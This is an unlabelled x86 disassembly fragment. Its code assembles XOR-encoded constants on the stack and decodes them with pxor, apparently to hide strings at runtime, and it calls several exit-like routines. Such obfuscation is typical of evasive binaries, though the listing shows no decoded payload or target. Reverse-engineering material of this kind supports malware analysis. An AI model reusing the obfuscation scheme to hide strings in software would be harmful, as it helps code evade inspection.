mov dword [ebp - 0x880], 0x3be882c9
mov dword [ebp - 0x87c], 0xabe71ed8
mov dword [ebp - 0x878], 0x6e7c2aca
mov dword [ebp - 0x874], 0x27e7baa1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12f0]
push eax
movaps xmmword [ebp - 0x12f0], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x2240]
call fcn.0045e3b0
push eax
push 0x66ee50
call fcn.0044b300
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0xa10], 0xdd07cf8f
mov dword [ebp - 0xa0c], 0xc56a86ab
mov dword [ebp - 0xa08], 0x877f8260
lea eax, [ebp - 0xa10]
mov dword [ebp - 0xa04], 0x961c3337
movaps xmm1, xmmword [ebp - 0xa10]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa10], xmm1
call fcn.005d657d
add esp, 0xc
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x1d18]
mov dword [ebp - 0x1d48], 0xea33e193
push eax
lea eax, [ebp - 0x1d48]
mov dword [ebp - 0x1d44], 0xb34af48b
push eax
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x1d40], 0xee0cf005
mov dword [ebp - 0x1d3c], 0xf53c5d58
mov dword [ebp - 0x1d38], 0x6202389
mov dword [ebp - 0x1d34], 0xda0a96b0
mov dword [ebp - 0x1d30], 0x8c3062e
mov dword [ebp - 0x1d2c], 0xf2c14639
mov dword [ebp - 0x1d28], 0x483aad22
mov dword [ebp - 0x1d24], 0x721a2c26
mov dword [ebp - 0x1d20], 0x79bd4065
mov dword [ebp - 0x1d1c], 0xf6bc7df5
call fcn.0045f460
lea eax, [ebp - 0x1d48]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1d78]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x1d78], 0x8e528edf
mov dword [ebp - 0x1d74], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1d70], 0x877f8260
mov dword [ebp - 0x1d6c], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1d68], 0x6d4346e1
mov dword [ebp - 0x1d64], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1d60], 0x24a76342
mov dword [ebp - 0x1d5c], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1d58], 0x685fde43
mov dword [ebp - 0x1d54], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1d50], 0x10dc2704
mov dword [ebp - 0x1d4c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1d78]
mov dword [ebp - 0xf40], 0xea33e193
push eax
lea eax, [ebp - 0x1da8]
mov dword [ebp - 0xf3c], 0xb34af48b
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x1da8], 0xea33e193
mov dword [ebp - 0x1da4], 0xb34af48b
mov dword [ebp - 0xf38], 0xee0cf005
mov dword [ebp - 0xf34], 0xf53c5d58
mov dword [ebp - 0x1da0], 0xee0cf005
mov dword [ebp - 0x1d9c], 0xf53c5d58
mov dword [ebp - 0xf30], 0x6202389
mov dword [ebp - 0xf2c], 0xda0a96b0
mov dword [ebp - 0x1d98], 0x6202389
mov dword [ebp - 0x1d94], 0xda0a96b0
mov dword [ebp - 0xf28], 0x8c3062e
mov dword [ebp - 0xf24], 0xf2c14639
mov dword [ebp - 0x1d90], 0x8c3062e
mov dword [ebp - 0x1d8c], 0xf2c14639
mov dword [ebp - 0xf20], 0x483aad22
mov dword [ebp - 0xf1c], 0x721a2c26
mov dword [ebp - 0x1d88], 0x483aad22
mov dword [ebp - 0x1d84], 0x721a2c26
mov dword [ebp - 0xf18], 0x79bd4065
mov dword [ebp - 0xf14], 0xf6bc7df5
mov dword [ebp - 0x1d80], 0x79bd4065
mov dword [ebp - 0x1d7c], 0xf6bc7df5
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xf40]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0xf40], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0xf40]
pxor xmm1, xmmword [ebp - 0xf30]
movaps xmmword [ebp - 0xf30], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf20]
push eax
movaps xmmword [ebp - 0xf20], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2d00], 0xdd07cf8f
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cfc], 0xc56a86ab
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x2cf8], 0x877f8260
mov dword [ebp - 0x2cf4], 0x961c3337
push eax
lea eax, [ebp - 0x2d00]
push eax
call fcn.0045f460
lea eax, [ebp - 0x2d00]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x2d10], 0x8e528edf
mov dword [ebp - 0x2d0c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2d08], 0x877f8260
mov dword [ebp - 0x2d04], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0xb60], 0xdd07cf8f
push eax
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0xb5c], 0xc56a86ab
push eax
lea ecx, [ebp - 0x33c8]
mov dword [ebp - 0x2d20], 0xdd07cf8f
mov dword [ebp - 0x2d1c], 0xc56a86ab
mov dword [ebp - 0xb58], 0x877f8260
mov dword [ebp - 0xb54], 0x961c3337
mov dword [ebp - 0x2d18], 0x877f8260
mov dword [ebp - 0x2d14], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xb60]
lea eax, [ebp - 0xb60]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb60], xmm1
call fcn.005d657d
add esp, 4
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0x2d30], 0x8e378ef1
push eax
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x2d2c], 0xc50f8696
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x2d28], 0x877f8260
mov dword [ebp - 0x2d24], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x2d40], 0x8e528edf
mov dword [ebp - 0x2d3c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2d38], 0x877f8260
mov dword [ebp - 0x2d34], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0xac0], 0x8e378ef1
push eax
lea eax, [ebp - 0x2d50]
mov dword [ebp - 0xabc], 0xc50f8696
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x2d50], 0x8e378ef1
mov dword [ebp - 0x2d4c], 0xc50f8696
mov dword [ebp - 0xab8], 0x877f8260
mov dword [ebp - 0xab4], 0x961c3337
mov dword [ebp - 0x2d48], 0x877f8260
mov dword [ebp - 0x2d44], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xac0]
lea ecx, [ebp - 0x2288]
pxor xmm1, xmmword [ebp - 0x850]
mov edx, 0xe
movaps xmmword [ebp - 0xac0], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xac0]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x2258]
call fcn.00460670
add esp, 4
lea ecx, [ebp - 0x2288]
mov byte [ebp - 4], 0xf
call fcn.0045e110
sub esp, 0x18
lea eax, [ebp - 0x2258]
mov ecx, esp
mov dword [ebp - 0x2b44], esp
push eax
call fcn.0045e240
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x17c8]
push eax
lea eax, [ebp - 0x17e8]
mov dword [ebp - 0x17e8], 0xef3de2f0
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x17e4], 0xeb18e38a
mov dword [ebp - 0x17e0], 0xf51cec05
mov dword [ebp - 0x17dc], 0xf368434e
mov dword [ebp - 0x17d8], 0x4216885
mov dword [ebp - 0x17d4], 0xb36bf0fe
mov dword [ebp - 0x17d0], 0x24a76342
mov dword [ebp - 0x17cc], 0x97ad3619
call fcn.0045f460
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
lea eax, [ebp - 0x1688]
mov dword [ebp - 0x16a8], 0x8e528edf
push eax
lea eax, [ebp - 0x16a8]
mov dword [ebp - 0x16a4], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x16a0], 0x877f8260
mov dword [ebp - 0x169c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1698], 0x6d4346e1
mov dword [ebp - 0x1694], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1690], 0x24a76342
mov dword [ebp - 0x168c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1668]
mov dword [ebp - 0xe70], 0xef3de2f0
push eax
lea eax, [ebp - 0x1688]
mov dword [ebp - 0xe6c], 0xeb18e38a
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x1688], 0xef3de2f0
mov dword [ebp - 0x1684], 0xeb18e38a
mov dword [ebp - 0xe68], 0xf51cec05
mov dword [ebp - 0xe64], 0xf368434e
mov dword [ebp - 0x1680], 0xf51cec05
mov dword [ebp - 0x167c], 0xf368434e
mov dword [ebp - 0xe60], 0x4216885
mov dword [ebp - 0xe5c], 0xb36bf0fe
mov dword [ebp - 0x1678], 0x4216885
mov dword [ebp - 0x1674], 0xb36bf0fe
mov dword [ebp - 0xe58], 0x24a76342
mov dword [ebp - 0xe54], 0x97ad3619
mov dword [ebp - 0x1670], 0x24a76342
mov dword [ebp - 0x166c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xe70]
pxor xmm1, xmmword [ebp - 0xe70]
sub esp, 0x18
movaps xmmword [ebp - 0xe70], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xe60]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b3c], esp
push eax
movaps xmmword [ebp - 0xe60], xmm1
call fcn.0045e6c0
lea eax, [ebp - 0x2d50]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x2d60], 0xe930fbaf
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x2d5c], 0xab1ca883
mov dword [ebp - 0x2d58], 0xa907e308
mov dword [ebp - 0x2d54], 0x96715c54
call fcn.0045f460
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x2d70], 0x8e528edf
mov dword [ebp - 0x2d6c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2d68], 0x877f8260
mov dword [ebp - 0x2d64], 0x961c3337
call fcn.0045f460
mov dword [ebp - 0xb70], 0xe930fbaf
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0xb6c], 0xab1ca883
push eax
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d80], 0xe930fbaf
push eax
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2d7c], 0xab1ca883
mov dword [ebp - 0xb68], 0xa907e308
mov dword [ebp - 0xb64], 0x96715c54
mov dword [ebp - 0x2d78], 0xa907e308
mov dword [ebp - 0x2d74], 0x96715c54
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xb70]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045e6c0
mov ecx, esi
mov byte [ebp - 4], 0xf
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2258]
push 0xc0
call fcn.0045e100
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2258]
mov ecx, esp
push eax
call fcn.0045e240
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d6b1f
int3